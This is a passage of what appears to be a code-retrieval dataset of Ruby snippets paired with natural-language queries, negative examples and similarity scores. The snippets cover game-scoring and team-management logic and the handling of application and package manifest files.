@new_first_to_play_position = 1\n end\n @game.teams.each do |team|\n team.players.each do |player|\n if (player.position == @new_first_to_play_position)\n player.update(first_to_play: true)\n end\n end\n end\n\n # Verifie si les points de la manche sont a 0 et met a jour les points de l'équipe 2\n if params[:points_manche].to_i == 0\n # Vérifie si il y a un match; Si oui on ajoute 257 points sinon 157\n if params[:match] == \"oui\"\n @game.teams.last.update(points: 257 + @game.teams.last.points.to_i + team2_total_point_announce)\n else\n @game.teams.last.update(points: 157 + @game.teams.last.points.to_i + team2_total_point_announce)\n end\n elsif 157 - params[:points_manche].to_i <= 0\n @game.teams.last.update(points: 0 + @game.teams.last.points.to_i + team2_total_point_announce)\n else\n @game.teams.last.update(points: 157 - params[:points_manche].to_i + @game.teams.last.points.to_i + team2_total_point_announce)\n end\n\n # Met a jour les points de l'équipe 2\n @game.teams.first.update(points: params[:points_manche].to_i + @game.teams.first.points.to_i + team1_total_point_announce )\n\n # Vérifie si il y a un gagnant dans la partie\n if (@game.teams.first.points >= @game.points)\n @game.teams.first.update(winner: true)\n @game.update(winner: true)\n elsif (@game.teams.last.points >= @game.points)\n @game.teams.last.update(winner:true)\n @game.update(winner: true)\n end\n\n # Sauvegarde une partie\n if @game.save\n render json: { success: true, teams: @game.teams, game: @game}\n end\n\n # Met a jour l'atout et affichige l'icone sur le bon joueur (atout)\n elsif (params[:atout] != '')\n @game.update(atout: params[:atout])\n if (params[:chibre] == \"true\")\n @game.teams.each do |team|\n team.players.each do |player|\n if (player.first_to_play)\n @first_to_play_position = player.position\n player.update(first_to_play: false)\n end\n end\n end\n @new_first_to_play_position = @first_to_play_position + 2\n if (@new_first_to_play_position == 5)\n @new_first_to_play_position = 1\n end\n if (@new_first_to_play_position == 6)\n @new_first_to_play_position = 2\n end\n @game.teams.each do |team|\n team.players.each do |player|\n if (player.position == @new_first_to_play_position)\n player.update(first_to_play: true)\n render json: { success: true, teams: @game.teams}\n end\n end\n end\n else\n render json: { success: true, teams: @game.teams}\n end\n\n # Verifie le status de la partie\n elsif (params[:status] != '')\n @game.update(status: params[:status])\n end\n\n end", "def reset\n @players.each { |player| player.reset }\n @dealer.reset\n system \"clear\"\n end", "def white_turn\n @teams[:white].current_team = true\n @teams[:black].current_team = false\n @current_team = @teams[:white]\n end", "def recompute_team\n teams = CollegiateResult.where(:year => @year).all\n teams.each do |team|\n ctc = CollegiateTeamComputer.new(team.pilot_contests)\n result = ctc.compute_result\n team.qualified = result.qualified\n team.points = result.total\n team.points_possible = result.total_possible\n team.update_results(result.combination)\n team.save\n end\n RankComputer.compute_result_rankings(teams)\nend", "def update_available_players\r\n FdPlayer.new.update_all_player_info\r\n flash[:notice] = \"Players updated.\"\r\n redirect_to commissioner_path\r\n end", "def assignTeam _obj, _args\n \"_obj assignTeam _args;\" \n end", "def set_winner(team)\n if team.win\n self.status = 'finished'\n self.save\n end\n end", "def index\n @team = Team.find(params[:team_id])\n @players = @team.players\n end", "def delete(_team)\n # stub\n end", "def update_team\n @team.update(team_params)\n end", "def reset_player_scores()\n @players.each do |player|\n player.score = 0\n player.save\n end\n end", "def destroy\n team = @player.team\n @player.destroy\n respond_to do |format|\n format.html { redirect_to team }\n format.json { head :no_content }\n end\n end", "def destroy\n\t\t@team = Team.where(:prover_id => params[:owner], :id => params[:id])\n\n\t\t@team.each do |team|\n\t\t\tif (team.topic.prover.id.to_s == params[:owner])\n\t\t\t\tputs (\"Error: You can not resign from a team you created.\")\n\t\t\telse\n\t\t\t\tteam.destroy\n\t\t\tend\n\t\tend\n\n\t\trender :text => \"Nothing\"\n\tend", "def save\n super\n @members.each do |m|\n m.tm_team_id = @data_object.team_id\n m.save\n end\n end", "def reset_players\n # Replaces the hands array with a new array, with only one hand in it.\n @players.each {|p| p.hands = [p.hand.reset!] }\n\n # Resets the dealers only hand.\n @dealer.hand.reset!\n end", "def leave_team\n @mutineer = User.find(params[:id])\n previousTeam = @mutineer.team_id\n usersOnOldTeam = User.where(team_id: previousTeam)\n\n usersOnOldTeam.each do |u|\n Bulletin.destroy_all(user_id: u.id, approval_pending: true)\n Approval.destroy_all(user_id: u.id)\n end\n\n if @mutineer.update_attributes(:team_id => nil)\n if User.find_by(team_id: previousTeam) == nil\n Team.destroy(previousTeam)\n redirect_to \"/teams/\"\n else\n redirect_to \"/teams/#{previousTeam}\"\n end\n #redirect_to \"/teams/\"\n else\n redirect_to \"/failure_page\"\n end\n end", "def remove_match_day_player\n match_day_team = MatchDayTeam.find(params[:match_day_team_id])\n match_day_player = MatchDayPlayer.find(params[:id])\n match_day_team.match_day_players.delete(match_day_player)\n update_match_day_team(match_day_team)\n end", "def destroy\n destroy_object @league\n end", "def matchmaker\n puts \"#{(game.loser).name} is eliminated!\"\n if game.winner == game.player1\n @players.slice!(1)\n else @players.slice!(0) #can use @players.slice to cut the loser into a losers bracked\n end\n @champion = @players[0] if @players.count == 1\n @players.rotate!\n puts \"Press enter to play next game\"\n move_on = gets.chomp\n end", "def reset_fields\n self.outpost_queued = false\n # outpost_prevent is set and reset at end of previous turn\n # pirate_coins persists turn after turn\n self.gained_last_turn = []\n self.bought_victory = false\n self.played_treasure = false\n self.played_crossroads = false\n self.played_fools_gold = false\n save!\n end", "def resolve()\n Player.all\n end" ]
[ "0.65347", "0.6506997", "0.60988814", "0.6079857", "0.6026012", "0.60199046", "0.60080343", "0.5988645", "0.5953333", "0.59214634", "0.59138846", "0.58738226", "0.5826338", "0.57706386", "0.57124436", "0.56759965", "0.56383044", "0.5626219", "0.5619092", "0.56145805", "0.55965084", "0.55965084", "0.5585046", "0.5571544", "0.5564903", "0.55573815", "0.55277646", "0.55100834", "0.5496456", "0.5490478", "0.54897654", "0.5479565", "0.5470976", "0.5460221", "0.54548067", "0.54472715", "0.543043", "0.5429772", "0.5428904", "0.54251635", "0.54093456", "0.5395739", "0.5392402", "0.53906727", "0.53723735", "0.5371356", "0.5349281", "0.5337552", "0.5333046", "0.5329051", "0.5327307", "0.53226495", "0.5322029", "0.53171784", "0.5282562", "0.5274623", "0.5274403", "0.5255033", "0.5240731", "0.5235639", "0.52251035", "0.5223621", "0.5219713", "0.52196616", "0.52092564", "0.52086383", "0.52085954", "0.52021235", "0.52021235", "0.5195172", "0.5195172", "0.5195172", "0.5195172", "0.5195172", "0.5195172", "0.5192492", "0.5190697", "0.51863426", "0.5176483", "0.5175917", "0.51743364", "0.5172241", "0.5164934", "0.5164218", "0.5160199", "0.5158792", "0.51532775", "0.5151492", "0.5145518", "0.51438403", "0.5140577", "0.5134735", "0.51327837", "0.51325417", "0.5132537", "0.51312965", "0.51266503", "0.51193845", "0.51191175", "0.51071596" ]
0.7450621
0
to ensure that the manifest xml matches the API format e.g. bar becomes: bar
def canonicalize(_context, resources) resources.each do |resource| resource[:xml] = str_from_xml(resource[:xml]) end resources end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def validate_manifest_format(format)\n unless MANIFEST_FORMATS.include?(format)\n error = ArgumentError.new(\"#{format} is not a valid format: #{MANIFEST_FORMATS.join(',')}\")\n api_method = caller_locations.first&.label\n ErrorTracker.report_exception(error, nil, { format: format, method: api_method })\n raise error\n end\n end", "def verify_manifest\n abort \"cannot find your AndroidManifest.xml to extract info from it. Make sure you're in the root directory of your app\" unless\n File.exists? 'AndroidManifest.xml'\n @manifest ||= REXML::Document.new(File.read('AndroidManifest.xml')).root\nend", "def AppManifest(input, validate: true)\n if input.is_a?(Hash)\n AppManifest::Manifest.new(input, validate: validate)\n elsif input.is_a?(String)\n AppManifest::Manifest.from_json(input, validate: validate)\n end\nend", "def generate_manifest\n manifest = \"\"\n open('framework/AndroidManifest.xml', 'r') do |old| \n manifest = old.read\n manifest.gsub! 'android:versionCode=\"5\"', 'android:versionCode=\"1\"'\n manifest.gsub! 'package=\"com.phonegap\"', \"package=\\\"#{ @pkg }\\\"\"\n manifest.gsub! 'android:name=\".StandAlone\"', \"android:name=\\\".#{ @name }\\\"\"\n manifest.gsub! 'android:minSdkVersion=\"5\"', 'android:minSdkVersion=\"3\"'\n end\n open(\"#{ @path }/AndroidManifest.xml\", 'w') { |x| x.puts manifest }\n end", "def infer_manifest\n if file = root.glob('manifest{,.txt}', :casefold).first\n set :manifest, File.basename(file)\n end\n end", "def output_manifest(title)\n puts '<?xml version=\"1.0\" standalone=\"no\" ?>'.red\n puts '<manifest identifier=\"D321SCORM-MANIFEST\" version=\"1.0\"'.red\n puts 'xmlns=\"http://www.imsproject.org/xsd/imscp_rootv1p1p2\"'.red\n puts 'xmlns:adlcp=\"http://www.adlnet.org/xsd/adlcp_rootv1p2\"'.red \n puts 'xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"'.red \n puts 'xsi:schemaLocation=\"http://www.imsproject.org/xsd/imscp_rootv1p1p2 imscp_rootv1p1p2.xsd\n http://www.imsglobal.org/xsd/imsmd_rootv1p2p1 imsmd_rootv1p2p1.xsd\n http://www.adlnet.org/xsd/adlcp_rootv1p2 adlcp_rootv1p2.xsd\" >'.red \n puts '<metadata>'.red \n puts '<schema>ADL SCORM</schema>'.red \n puts '<schemaversion>1.2</schemaversion>'.red \n puts '<adlcp:location>imsmetadata.xml</adlcp:location>'.red \n puts '</metadata>'.red \n puts '<organizations default=\"TOC1\">'.red \n puts '<organization identifier=\"TOC1\">'.red \n puts \"<title>#{title}</title>\".red \n puts '<item identifier=\"I_SCO0\" identifierref=\"SCO0\">'.red \n puts \"<title>#{title}</title>\".red\n puts '</item>'.red\n puts '</organization>'.red \n puts '</organizations>'.red\n puts '<resources>'.red\n puts '<resource identifier=\"SCO0\" type=\"webcontent\" adlcp:scormtype=\"sco\" href=\"index.html\">'.red\n\n Dir.glob(\"**/*\").each do |fname|\n puts \"<file href=\\\"#{fname}\\\" />\".red if File.file?(fname)\n end\n puts '<dependency identifierref=\"ALLRESOURCES\" />'.red \n puts '</resource>'.red \n puts '<resource identifier=\"ALLRESOURCES\" type=\"webcontent\" adlcp:scormtype=\"asset\">'.red \n puts '</resource>'.red \n puts '</resources>'.red \n puts '</manifest>'.red\nend", "def manifest\n case manifest_path.extname.downcase.delete \".\"\n when \"json\"\n JSON.parse(File.read(manifest_path))\n when \"yml\", \"yaml\"\n YAML.load_file(manifest_path)\n end\n end", "def manifest_entry; changeset.manifest_entry; end", "def validate_manifest_inventory(moab_version)\n manifest_file_path = \"#{moab_version.version_pathname}/#{MANIFESTS}/#{MANIFESTS_XML}\"\n parse_verification_subentities(moab_version.verify_manifest_inventory)\n rescue Nokogiri::XML::SyntaxError\n results.add_result(AuditResults::INVALID_MANIFEST, manifest_file_path: manifest_file_path)\n rescue Errno::ENOENT\n results.add_result(AuditResults::MANIFEST_NOT_IN_MOAB, manifest_file_path: manifest_file_path)\n end", "def build_manifest(opts={})\n main_class = (opts[:main_class] ? randomize(opts[:main_class]) : nil)\n app_name = (opts[:app_name] ? randomize(opts[:app_name]) : nil)\n existing_manifest = nil\n meta_inf_exists = @entries.find_all{|item| item.name == 'META-INF/' }.length > 0\n\n @manifest = \"Manifest-Version: 1.0\\r\\n\"\n @manifest << \"Main-Class: #{main_class}\\r\\n\" if main_class\n @manifest << \"Application-Name: #{app_name}\\r\\n\" if app_name\n @manifest << \"Permissions: all-permissions\\r\\n\"\n @manifest << \"\\r\\n\"\n @entries.each { |e|\n next if e.name =~ %r|/$|\n if e.name == \"META-INF/MANIFEST.MF\"\n existing_manifest = e\n next\n end\n #next unless e.name =~ /\\.class$/\n @manifest << \"Name: #{e.name}\\r\\n\"\n #@manifest << \"SHA1-Digest: #{Digest::SHA1.base64digest(e.data)}\\r\\n\"\n @manifest << \"\\r\\n\"\n }\n if existing_manifest\n existing_manifest.data = @manifest\n else\n add_file(\"META-INF/\", '') unless meta_inf_exists\n add_file(\"META-INF/MANIFEST.MF\", @manifest)\n end\n end", "def validate_pkg_manifest\n log.info(log_key) { \"Validating package manifest\" }\n shellout!(\"pkglint -c /tmp/lint-cache -r http://pkg.oracle.com/solaris/release #{pkg_manifest_file}.5.res\")\n end", "def execute_manifest\n # load manifest, it is on the root dir of the package\n root_new_files = @manifest_dir\n @log.debug(\"execute_manifest, search manifest in dir #{root_new_files}\")\n mani_filename = File.join(root_new_files, @manifest_fname)\n opt = YAML::load_file( mani_filename )\n if opt\n if opt.class == Hash\n arr_newdir = opt[:new_dir]\n version_title = opt[:version_title]\n arr_newfiles = opt[:new_file]\n @new_version_str = opt[:version_str]\n if version_title\n @log.info(\"Update description: #{version_title}\")\n end\n if arr_newdir\n # process all directories\n arr_newdir.each{|x| proc_dir_toinst(x, root_new_files)}\n end\n if arr_newfiles\n # process all single files\n arr_newfiles.each{|x| proc_file_toinst(x, root_new_files)}\n end\n else\n @log.error(\"Malformed manifest\")\n end\n else\n @log.error(\"Manifest file #{mani_filename} not found\")\n end\n rescue\n @log.error(\"Error on execute_manifest #{$!}\")\n raise(\"Errore nell'esecuzione del manifesto\")\n end", "def verify_manifest(theme_path)\n manifest_path = File.join(theme_path, \"manifest.yml\")\n manifest_file = File.open( manifest_path )\n abort(\"rake aborted: repo must contain valid manifest.yml\") unless File.exist? manifest_file\n manifest = YAML.load( manifest_file )\n manifest_file.close\n manifest\nend", "def manifest() @opts.manifest; end", "def update_manifest(manifest_version)\n manifest = JSON.parse(IO.read(@manifest_template_path))\n if manifest.instance_of? Array\n manifest.each { |m| m['version'] = manifest_version }\n else\n manifest['version'] = manifest_version\n if !manifest['tasks'].nil? and manifest['tasks'].instance_of? Array\n manifest['tasks'].each { |m| m['version'] = manifest_version }\n end\n end\n\n File.open('manifest.json','w'){ |f| f.write(JSON.pretty_generate(manifest)) }\n end", "def process_manifest\n @manifest, @builder_version = @manifest_reader.load_output_manifest(@manifest_path)\n @manifest_reader.validate_migration_paths(@manifest_path, @manifest)\n end", "def load_manifest(entry) # :nodoc:\n raise FoobarMod::Package::FormatError.new \"Mod manifest size is too large\" if entry.size > MAX_MANIFEST_SIZE\n @manifest = FoobarMod::Manifest.from_hcl entry.get_input_stream.read\n end", "def generate_manifest\n puts \"Creating AndroidManifest.xml\"\n manifest = \"\"\n open(File.join(@droidgap_src_dir, \"AndroidManifest.xml\"), 'r') do |old|\n manifest = old.read\n manifest.gsub! 'android:versionCode=\"5\"', 'android:versionCode=\"1\"'\n manifest.gsub! 'package=\"com.phonegap\"', \"package=\\\"#{ @pkg }\\\"\"\n manifest.gsub! 'android:name=\".StandAlone\"', \"android:name=\\\".#{ @name.gsub(' ','') }\\\"\"\n manifest.gsub! 'android:minSdkVersion=\"5\"', 'android:minSdkVersion=\"2\"'\n end\n open(File.join(@output_dir, \"AndroidManifest.xml\"), 'w') { |x| x.puts manifest }\n end", "def read_manifest\n File.read_utf(\"Manifest.txt\").split(/\\r?\\n\\r?/) rescue nil\n end", "def manifest\n @manifest\n end", "def ensure_valid_mortar_project_manifest()\n if File.exists? project_manifest_name\n add_newline_to_file(project_manifest_name)\n else\n create_mortar_project_manifest('.')\n end\n end", "def manifest\n @_manifest\n end", "def manifest_name\n \"MANIFEST.#{name}\"\n end", "def prepare_manifest_for(entries)\n deploy_manifest\n end", "def updated_manifest()\n new_app_manifest = JSON.parse(current.to_json) # a deep clone.\n #now let's update everything.\n new_mem = @application_json['resources']['memory'] unless @application_json['resources'].nil?\n new_app_manifest[:name] = @application_json['name']\n new_app_manifest['resources'] = Hash.new if new_app_manifest['resources'].nil?\n new_app_manifest['resources']['memory'] = new_mem unless new_mem.nil?\n unless @application_json['staging'].nil?\n new_app_manifest['staging'] = Hash.new if new_app_manifest['staging'].nil?\n new_app_manifest['staging']['model'] = @application_json['staging']['model'] unless @application_json['staging']['model'].nil?\n #new_app_manifest['staging']['framework'] = new_app_manifest['staging']['model']\n new_app_manifest['staging']['stack'] = @application_json['staging']['stack'] unless @application_json['staging']['stack'].nil?\n end\n new_app_manifest['uris'] = @application_json['uris'] unless @application_json['uris'].nil?\n new_app_manifest['services'] = @application_json['services'] unless @application_json['services'].nil?\n new_app_manifest['env'] = @application_json['env'] unless @application_json['env'].nil?\n if @application_json['meta']\n new_app_manifest['meta'] = Hash.new if new_app_manifest['meta'].nil?\n new_app_manifest['meta']['debug'] = @application_json['meta']['debug'] if @application_json['meta']['debug']\n new_app_manifest['meta']['restage_on_service_change'] = @application_json['meta']['restage_on_service_change'] if @application_json['meta']['restage_on_service_change']\n end\n new_app_manifest\n end", "def parse_api api_yaml\n api = ::Google::Protobuf::Api.new\n api.name = api_yaml[NAME_KEY] if api_yaml.key? NAME_KEY\n api.version = api_yaml[VERSION_KEY] if api_yaml.key? VERSION_KEY\n api\n end", "def valid_package_entry(match, data)\n {\n name: match[:name],\n version: data[:version],\n metadata: {\n \"scm\" => match[:scm],\n \"repo\" => data[:repo]\n }\n }\n end", "def manifest(versions: @versions, latest_release: self.latest_release)\n manifest = versions.try(:[], latest_release)\n\n # In the short API, it may have a \"latest\" string value, so make sure it's a hash\n manifest.is_a?(Hash) ? manifest : nil\n end", "def assets_manifest; end", "def assets_manifest; end", "def manifest_url_param\n params[:manifest]\n end", "def writePackageXmlFromHashie(typeToMembersHash = {})\n\n typeToMembersHashFormatted = {}\n\n # Assuming parameter is a Hashie object.\n #puts typeToMembersHash.keys\n\n # Convert the typeToMembersHash from a Hashie\n # to a format that is suitable to give to Manifest.\n typeToMembersHash.each_pair do |key, value|\n underscore_key = key.xml_name.underscore\n #puts \"key=#{underscore_key}, value=#{value}\"\n component_array = []\n if (value.respond_to?(\"map\"))\n component_array = value.map { |x| x.full_name if x.respond_to?(\"full_name\") } unless value.nil?\n end\n if (value.respond_to?(\"full_name\"))\n component_array = [] << value.full_name\n end\n #puts \"valArray=#{component_array}\"\n\n typeToMembersHashFormatted[underscore_key] = component_array\n\n end\n\n #puts typeToMembersHashFormatted\n manifest = Metaforce::Manifest.new(typeToMembersHashFormatted)\n #manifest.to_xml\n\n File.open(\"package.xml\", 'w') { |f| f.write(manifest.to_xml) }\n\nend", "def _get_manifest\n Dir[\"#{uri}/**/*\"].map { |entry|\n entry = \"#{entry}/\" if File.directory?(entry)\n entry.sub(uri, \"\").sub(/^\\//, \"\")\n }\n end", "def send_manifest\n begin\n manifest = JSON.parse(File.read(@manifest))\n manifest['instanceId'] = \"#{Socket.gethostname}_#{SecureRandom.uuid}\" if @generate_instance_ids\n @instance_id = manifest['instanceId']\n rescue\n end\n send_message('APP_MANIFEST', manifest)\n end", "def validate_manifest_file manifest_dir\n manifest_file = \"#{manifest_dir}/Manifest.txt\"\n raise \"#{manifest_file} does not exist\" unless test ?f, manifest_file\n manifest = File.new(manifest_file).readlines.map { |x| x.strip }\n manifest -= perforce_ignore\n\n exclusions = with_config do |config, _|\n config[\"exclude\"]\n end\n\n local_manifest = []\n\n Dir.chdir manifest_dir do\n system 'rake clean'\n Find.find '.' do |f|\n next if f =~ exclusions\n local_manifest << f.sub(/^\\.\\//, '') if File.file? f\n end\n end\n\n local_manifest -= perforce_ignore\n\n extra_files = local_manifest - manifest\n missing_files = manifest - local_manifest\n\n msg = []\n\n unless extra_files.empty? then\n msg << \"You have files that are not in your manifest\"\n msg << \" #{extra_files.inspect}\"\n end\n\n unless missing_files.empty? then\n msg << \"You have files that are missing from your manifest\"\n msg << \" #{missing_files.inspect}\"\n end\n\n raise msg.join(\"\\n\") unless msg.empty?\n end", "def write_manifest_file\n render_template(resource_path(\"AppxManifest.xml.erb\"),\n destination: \"#{windows_safe_path(project.install_dir)}/AppxManifest.xml\",\n variables: {\n name: project.package_name,\n friendly_name: project.friendly_name,\n version: windows_package_version,\n maintainer: project.maintainer,\n certificate_subject: certificate_subject.gsub('\"', \"&quot;\"),\n })\n end", "def generate\n generate_manifest\n fix_windows_manifest\n end", "def _personalize_android(app, package)\n android_manifest_path = File.join(build_android_path, 'AndroidManifest.xml')\n gsub_file android_manifest_path, 'package=\"com.pichurriajuegos.muruby\"', \"package=\\\"%s\\\"\" % package\n android_values_path = File.join(build_android_path, 'res', 'values', 'strings.xml')\n gsub_file android_values_path '<string name=\"app_name\">muruby</string>', '<string name=\"app_name\">%s</string>' % app\n end", "def update\n respond_to do |format|\n if @manifest.update(manifest_params)\n format.html { redirect_to @manifest, notice: 'Manifest was successfully updated.' }\n format.json { render :show, status: :ok, location: @manifest }\n else\n format.html { render :edit }\n format.json { render json: @manifest.errors, status: :unprocessable_entity }\n end\n end\n end", "def release_manifest_name\n \"#{name}-release-manifest\"\n end", "def has_manifest?\n\t\treturn self.manifest_file.readable?\n\tend", "def add_api_verifier; end", "def assets_manifest=(_arg0); end", "def assets_manifest=(_arg0); end", "def initialize\n json_string = File.read(MANIFEST_PATH)\n @manifest = JSON.parse json_string\n end", "def manifest_available?\n VALID_IIIF_CONTENT_TYPES.include?(first('content_metadata_type_ssm').to_s)\n end", "def manifest\n {}\n end", "def generate_manifest\n available_versions.each do |version|\n puts \"Processing #{project_name} - #{channel_name} - #{version}\"\n\n artifacts_for(version).each do |artifact|\n p = artifact.platform\n pv = artifact.platform_version\n m = artifact.architecture\n\n manifest[p] ||= {}\n manifest[p][pv] ||= {}\n manifest[p][pv][m] ||= {}\n manifest[p][pv][m][artifact.version] = {\n sha1: artifact.sha1,\n sha256: artifact.sha256,\n url: artifact.url\n }\n end\n end\n\n manifest\n end", "def load_package_manifest(pkg)\n if pkg.respond_to?(:to_str)\n pkg_definition = find_package_definition(pkg)\n unless pkg_definition\n raise ArgumentError, \"#{pkg} is not a known package in #{self}\"\n end\n\n pkg = pkg_definition\n end\n package = pkg.autobuild\n package_set = pkg.package_set\n\n # Look for the package's manifest.xml, but fallback to a manifest in\n # the package set if present\n if package.use_package_xml? && package.checked_out?\n manifest_path = File.join(package.srcdir, \"package.xml\")\n raise NoPackageXML.new(package.srcdir), \"#{package.name} from \"\\\n \"#{package_set.name} has use_package_xml set, but the package has \"\\\n \"no package.xml file\" unless File.file?(manifest_path)\n\n manifest = PackageManifest.load(package, manifest_path,\n ros_manifest: true,\n condition_context: @ws.env)\n else\n manifest_paths = [File.join(package.srcdir, \"manifest.xml\")]\n if package_set.local_dir\n manifest_paths << File.join(\n package_set.local_dir, \"manifests\", \"#{package.name}.xml\"\n )\n end\n manifest_path = manifest_paths.find do |path|\n File.file?(path)\n end\n if manifest_path\n manifest = PackageManifest.load(package, manifest_path,\n ros_manifest: false,\n condition_context: @ws.config)\n end\n end\n\n if manifest\n pkg.autobuild.description = manifest\n else\n Autoproj.warn \"#{package.name} from #{package_set.name} \"\\\n \"does not have a manifest\"\n end\n\n pkg.apply_dependencies_from_manifest\n # #description is initialized with a null package manifest\n # return it even if we haven't overriden it\n pkg.autobuild.description\n end", "def update_manifests(changes)\n previous_version_id, previous_manifest_path = find_previous_manifest_path(version)\n @version_inventory = file_inventory_from_path(previous_version_id, previous_manifest_path)\n @version_inventory.version_id = version\n\n perform_changes(changes)\n\n signature_catalog = signature_catalog_from_path(previous_manifest_path)\n version_additions = signature_catalog.version_additions(@version_inventory)\n signature_catalog.update(@version_inventory, Pathname.new(data_path(object.alternate_id, version)))\n file_inventory_difference = compare_with_previous_file_inventory(previous_version_id, previous_manifest_path)\n\n write_manifests_to_xml([signature_catalog, @version_inventory, version_additions, file_inventory_difference])\n write_manifests_to_xml([manifest_file_inventory(version)])\n\n true\n rescue StandardError => e\n Rails.logger.error \"unable to update manifests: #{e}\"\n false\n end", "def set_api_v1_flightmanifest\n @api_v1_flightmanifest = Flightmanifest.where(flightofferings_id: params[:flightofferings_id])\n end", "def read_manifest()\n if not File.exists?(MANIFEST)\n return {}\n end\n\n f = File.new(MANIFEST, \"r\")\n f.rewind()\n yml = f.read()\n f.close()\n return YAML.load(yml)\nend", "def check_manifest\n f = \"Manifest.tmp\"\n require \"find\"\n files = []\n with_config do |config, _|\n exclusions = config[\"exclude\"]\n\n Find.find \".\" do |path|\n next unless File.file? path\n next if path =~ exclusions\n files << path[2..-1]\n end\n\n files = files.sort.join \"\\n\"\n\n File.open f, \"w\" do |fp| fp.puts files end\n\n verbose = { :verbose => Rake.application.options.verbose }\n\n begin\n sh \"#{DIFF} -du Manifest.txt #{f}\", verbose\n ensure\n rm f, **verbose\n end\n end\n end", "def update_if_manifest(file)\n return unless (algorithm = manifest_algorithm_or_nil(file))\n manifest = self.manifests.first(algorithm: algorithm) || self.manifests.create(algorithm: algorithm)\n manifest.update_from_file\n self.validation_status = :unvalidated\n end", "def manifest\n manifest_file = project_path( \"Manifest.txt\" )\n abort \"You need a Manifest.txt\" unless manifest_file.readable?\n manifest_file.readlines.map { |l| l.strip }\n end", "def parse_manifest(txt)\n # separators\n nl = /\\r\\n|\\n|\\r[^\\n]/\n secsep = /(#{nl}){2}/\n\n txt.split(secsep).reject { |s| s.chomp.length==0 }.map do |section|\n lines = []\n section.split(nl).each do |line|\n if line[0]==0x20\n lines.last << line[1..-1] # continuation of the previous line\n else\n lines << line\n end\n end\n\n # convert to hash\n hash = {}\n lines.each do |l|\n (k,v) = l.split(/: /,2)\n hash[k] = v\n end\n\n hash\n end\n end", "def manifest\n if File.exists?(manifest_file) && File.readable?(manifest_file) then\n MultiJson.load(File.read(manifest_file))\n else\n {}\n end\n end", "def resourceType\n 'DocumentManifest'\n end", "def resourceType\n 'DocumentManifest'\n end", "def output(file, ast)\n raise _(\"RDOC SUPPORT FOR MANIFEST HAS BEEN REMOVED - See PUP-3638\")\n end", "def test_normalization\n require 'yaml'\n yamldep = %{--- !ruby/object:Gem::Version::Requirement\n nums: \n - 1\n - 0\n - 4\n op: \">=\"\n version: \">= 1.0.4\"}\n dep = YAML.load(yamldep)\n dep.normalize\n assert_equal \">= 1.0.4\", dep.to_s\n end", "def write_manifest(fullPath, archiveURL)\n manifest = read_manifest()\n\n name = File.basename(fullPath)\n manifest[name] = archiveURL\n\n f = File.new(MANIFEST, \"w\")\n yml = manifest.to_yaml()\n f.write(yml)\n f.close()\nend", "def initialize(params)\n\n fail 'missing API Base URL' if params[:api_base_url].nil?\n fail 'missing API Key' if params[:api_key].nil?\n fail 'missing API Secret' if params[:api_secret].nil?\n\n params[:api_base_url] = params[:api_base_url].gsub(/\\/$/, '') # remove trailing slash\n params[:api_spec] = false if params[:api_spec].nil?\n\n set_manifest(params)\n\n end", "def import_ai_manifest(output_file,service_name)\n date_string = get_date_string()\n arch_list = []\n base_name = get_service_base_name(service_name)\n if !service_name.match(/i386|sparc/) and !client_arch.match(/i386|sparc/)\n arch_list = [\"i386\",\"SPARC\"]\n else\n if service_name.match(/i386/)\n arch_list.push(\"i386\")\n else\n if service_name.match(/sparc/)\n arch_list.push(\"SPARC\")\n end\n end\n end\n arch_list.each do |sys_arch|\n lc_arch = sys_arch.downcase\n backup = $work_dir+\"/\"+base_name+\"_\"+lc_arch+\"_orig_default.xml.\"+date_string\n message = \"Archiving:\\tService configuration for \"+base_name+\"_\"+lc_arch+\" to \"+backup\n command = \"installadm export -n #{base_name}_#{lc_arch} -m orig_default > #{backup}\"\n output = execute_command(message,command)\n message = \"Validating:\\tService configuration \"+output_file\n command = \"AIM_MANIFEST=#{output_file} ; export AIM_MANIFEST ; aimanifest validate\"\n output = execute_command(message,command)\n if output.match(/[A-z|0-9]/)\n puts \"AI manifest file \"+output_file+\" does not contain a valid XML manifest\"\n puts output\n else\n message = \"Importing:\\t\"+output_file+\" to service \"+service_name+\" as manifest named \"+$default_manifest_name\n command = \"installadm create-manifest -n #{base_name}_#{lc_arch} -m #{$default_manifest_name} -f #{output_file}\"\n output = execute_command(message,command)\n message = \"Setting:\\tDefault manifest for service \"+service_name+\" to \"+$default_manifest_name\n command = \"installadm set-service -o default-manifest=#{$default_manifest_name} #{base_name}_#{lc_arch}\"\n output = execute_command(message,command)\n end\n end\n return\nend", "def define_manifest_task\n\n if File.exist?( 'Manifest.static' )\n file 'Manifest.txt' => [ 'Manifest.static' ]\n end\n\n gf = clean_list( spec.generated_files ).sort\n [ :gem, :test ].each { |t| task t => gf }\n\n unless gf.empty?\n task :gen_clean do\n rm_f gf\n end\n task :clean => :gen_clean\n end\n\n desc \"Force update of Manifest.txt\"\n task :manifest do\n spec.generate_manifest\n end\n\n mtask = file 'Manifest.txt' do\n spec.generate_manifest\n end\n\n mtask\n end", "def manifest\n return refresh if config.auto_build\n\n @manifest ||= load_manifest\n end", "def manifest\n if !@manifest.is_a?(Condenser::Manifest) && @manifest.respond_to?(:call)\n @manifest = @manifest.call\n else\n @manifest\n end\n end", "def replace_version_constraint(content, filename)\n parsed_manifest = TomlRB.parse(content)\n\n FileParsers::Rust::Cargo::DEPENDENCY_TYPES.each do |type|\n next unless (req = parsed_manifest.dig(type, dependency.name))\n updated_req = temporary_requirement_for_resolution(filename)\n\n if req.is_a?(Hash)\n parsed_manifest[type][dependency.name][\"version\"] = updated_req\n else\n parsed_manifest[type][dependency.name] = updated_req\n end\n end\n\n TomlRB.dump(parsed_manifest)\n end", "def new_manifest?\n return @new_manifest\n end", "def consistent?\n (manifest_files | tagmanifest_files).each do |mf|\n # get the algorithm implementation\n File.basename(mf) =~ /manifest-(.+).txt$/\n type = Regexp.last_match(1)\n algo = manifest_type(type)\n # Check every file in the manifest\n File.open(mf) do |io|\n io.each_line do |line|\n expected, path = line.chomp.split(/\\s+/, 2)\n file = File.join(bag_dir, decode_filename(path))\n\n next unless File.exist? file\n actual = algo.file(file).hexdigest\n errors.add :consistency, \"expected #{file} to have #{algo}: #{expected}, actual is #{actual}\" if expected.downcase != actual\n end\n end\n end\n\n errors.on(:consistency).nil?\n end", "def manifest_content\n versions.flat_map(&:ocr_text).compact\n end", "def set_manifest\n @manifest = Manifest.find(params[:id])\n end", "def set_manifest\n @manifest = Manifest.find(params[:id])\n end", "def version_mismatch_detected\n end", "def format_app_info(info)\n str = 